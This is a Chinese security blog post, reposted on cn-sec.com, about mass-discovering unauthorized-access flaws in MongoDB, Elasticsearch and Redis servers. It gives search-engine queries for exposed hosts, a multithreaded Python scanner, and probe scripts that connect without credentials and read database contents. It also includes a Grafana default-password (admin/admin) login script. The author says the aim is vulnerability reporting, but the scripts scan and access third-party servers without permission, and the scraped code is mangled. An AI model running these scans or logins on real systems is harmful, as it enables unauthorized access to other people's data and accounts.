未授权访问漏洞批量化

admin 2021年5月8日19:28:42评论181 views字数 3563阅读11分52秒阅读模式

授权访问问题一直存在于互联网,或多或少的管理员不注重服务器的安全,以至于疏忽造成了服务器服务的未授权访问。
有一天,忽然想到,整个互联网的未授权漏洞是不是还有很多,是不是可以给他们提交了,说干就干。针对于三个来源:url获取、批量、未授权脚本

①url获取:
可以通过搜索引擎收集某个特征的url,比如fofa、shodan、ZoomEye等。这里我用的是fofa,比如查找有mongodb的服务器:country=CN&&port=27017 && protocol= =mongodb;查找有elasticsearch的服务器:port="9200"&& country=CN && protocol==elastic;查找有redis的服务器:app="redis" && country=CN

②批量:
这里用到的是python的多线程,下面是一个多线程模板:
```import threading
import time
from queue import Queue

event = threading.Event()
event.set()
q = Queue(0)
s = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
exitFlag = 0

class maint():
def init(self,url,num):
self.url = url
self.num = num

def fff(self):
    url = self.url
    # todo
    print("1") #此处可对探测到有未授权的url进行处理

class myThread (threading.Thread):
def init(self, q, num):
threading.Thread.init(self)
self.q = q
self.num = num
print(num)

def run(self):
    while event.is_set():
        if self.q.empty():
            break
        else:
            sql_spot = maint(self.q.get(),self.num)
            sql_spot.fff()

def scan_thread(q):
thread_num = 10
threads = []
for num in range(1,thread_num+1):
t = myThread(q,num)
threads.append(t)
t.start()
for t in threads:
print(t)
t.join()

def open_urls():

url_path = r'a.txt' #a.txt为存放url的文本文档
f = open(url_path, 'r',encoding='utf-8')
for each_line in f:
q.put(each_line)
return q

if name == 'main':
open_urls()
scan_thread(q)
```

open_urls()函数:
将收集到的url加入队列q中(可以因脚本而异,比如如果是elasticsearch(开放的是9200端口)的话,可以在入队列之前,加上:9200,代码:
each_line = each_line + ":9200")

scan_thread()函数:
传入一个队列q,创线程(1-10),myThread()类实例化得到对象t,将t加入线程队列中,开启线程;join进行线程之间的同步,即主线程任务结束之后,进入阻塞状态,一直等待其他的子线程执行结束之后,主线再终止。

myThread()类的run()函数:
判断event的状态码,如果为false,则中断;如果为true,继续进行:判断队列是否为空,如果为空,中断,如果不为空,则创造maint()类的对象sql_spot,执行sql_spot对象的fff()方法

maint()类的fff()函数:
探测未授权漏洞的主体

③未授权脚本:
(1)mongodb未授权
查阅资料可以知道,python与mongodb所交互的库为pymongo,所以调用pymongo的连接代码:
client = pymongo.MongoClient("mongodb://" + url, 27017)
mydb = client['local']
sevenday = mydb['startup_log']
doc = sevenday.find()
for d in doc:
if d:
with open("b.txt", "a+") as f: #b为所要保存的txt
f.writelines(url + 'n')
break
else:
pass

这里连接mongodb,虽然引用local库里的startup_log表(相当于mysql里的mysql库的user表,只是说存在的形式,不是说内容,可以这么理解,只要startup_log表里能取出来内容,即代码中的(if d:),那么就说明存在mongodb未授权)

(2)elasticsearch未授权
查阅资料可以知道,如果网页端访问/_cat存在/_cat/master就存在elasticsearch未授权漏洞。这里我进行探测/_plugin/head/(elasticsearch数据库的web管理界面,对于数据的操作很方便),代码如下:
url = url + "/_plugin/head/"
try:
a = requests.get( url , timeout=3)
if a.status_code == 200:
with open("elastic.txt","a+") as f:
f.writelines(url+'n')
except :
pass

只要探测的页面回显是200的,就可以算是未授权漏洞。

(3)redis未授权
查阅资料可以知道,redis与python进行交互的是redis库,调用连接代码:
try:
r = redis.Redis(host=url, port=6379, db=0)
print(self.url)
rs = r.info()
if rs:
time.sleep(0.1)
with open("aaa.txt", "a+") as f:
f.write(self.url.replace("n", "t") + 'n')
else:
pass
except:
pass

连接上redis以后,读取info信息,如果存在info信息,则说明存在redis未授权访问漏洞

以下是刷出来的成果:

未授权访问漏洞批量化
由于我只挑选了几个进行提交,而且还有一些url并没有获取,还有很大一部分的服务器存在漏洞

ps:
再贴出两个脚本
①grafana(弱口令)3000端口如果开启了grafana(格兰法那)的话,可以进行一次批量探测弱口令:
url = self.url
url = url.strip()
url = url + "/login"
data_json = {"user": "admin", "email": "", "password": "admin"}
try:
b1 = requests.post(url, data_json)
with open("success.txt", "a+") as f:
if b1.status_code == 200:
f.writelines(url+'n')
except :
pass

发送一个json数据包给login页面,如果返回200,即为登录成功

②批量探测ip转换域名
可以将探测到的ip,批量转换成域名,对于提交漏洞很有帮助,不需要一个一个的去找域名
```
res = requests.get("http://site.ip138.com/"+url)
res.encoding = 'utf-8'
if "暂无结果" in res.text:
pass

else:
selector = etree.HTML(res.text)
target = selector.xpath('//[@id="list"]/li[3]/a')
# target = selector.xpath('//
[@id="list"]/li/a') #查多个url

for ta in target:
    a = ta.text
    with open("url1"+ s.replace('-', '') +".txt","a+") as p:
        p.writelines(a+ "n" + "http://"+self.url.strip() +':9200/_plugin/head/'+'nn')

```

这里调用的是ip138的查找,读取url,发送请求给ip138,然后根据网页返回的内容进行提取域名

相关推荐: 无线路由器中白盒和黑盒漏洞搜寻之间的战斗

译文声明 本文是翻译文章,文章原作者Vincent Lee,文章来源:https://www.thezdi.com 原文地址:https://www.thezdi.com/blog/2021/3/11/the-battle-between-white-box-…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月8日19:28:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   未授权访问漏洞批量化http://cn-sec.com/archives/246145.html